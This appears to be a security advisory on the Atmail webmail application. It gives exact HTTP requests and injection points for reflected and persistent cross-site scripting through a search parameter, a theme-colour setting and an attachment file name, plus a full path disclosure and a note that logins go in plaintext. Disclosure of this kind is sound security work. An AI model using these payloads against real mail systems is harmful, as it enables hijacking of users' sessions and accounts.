1. Cross Site Scripting

Alert will appear; injection point:
<div id="noMessageDisplay" style="margin:10px;">nttttFound no messages matching <script>alert(666) (...)

c) POST - Search Results Tab

Request:
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab1"%20whats="up"%20bad=" HTTP/1.1
Host: http://www.poczta.pl

2. Full Path Disclosure

Request (GET):
demo.atmail.com/mail/index.php/mail/mail/listfoldermessages/

Response:
An error occurred
script 'mail/listfoldermessages.phtml' not found in path (/usr/local/atmail/webmail/application/modules/mail/views/scripts/)

3. Persistent XSS - Theme Color

Request:
GET /mail/index.php/mail/settings/webmailsave?fields%5BcssColorTheme%5D=purple"%20onload=alert(666)%20bad="&save=1 HTTP/1.1
Host: www.poczta.pl

Now, whenever someone will login alert will appear.
Injection point:
<body class="leaderboard-ad-off footer-ad-off '"XSS fresh blue" onload=alert(666) bad="" id="calon">

4. Persistent XSS - Forward a Message

First, compose your message and attach an image. Image name should consist
JS code, for example: "><img src=x onerror=prompt(1)>.

Send message to a victim, whenever someone will 'Forward' the message,
JS will be executed:

<a class="attach-btn" href="#" onClick="removeAttachment('bobs.\"><img src=x onerror=prompt(1)> (...)

P.S - Login and password are sent as plaintext.
... which is bad.
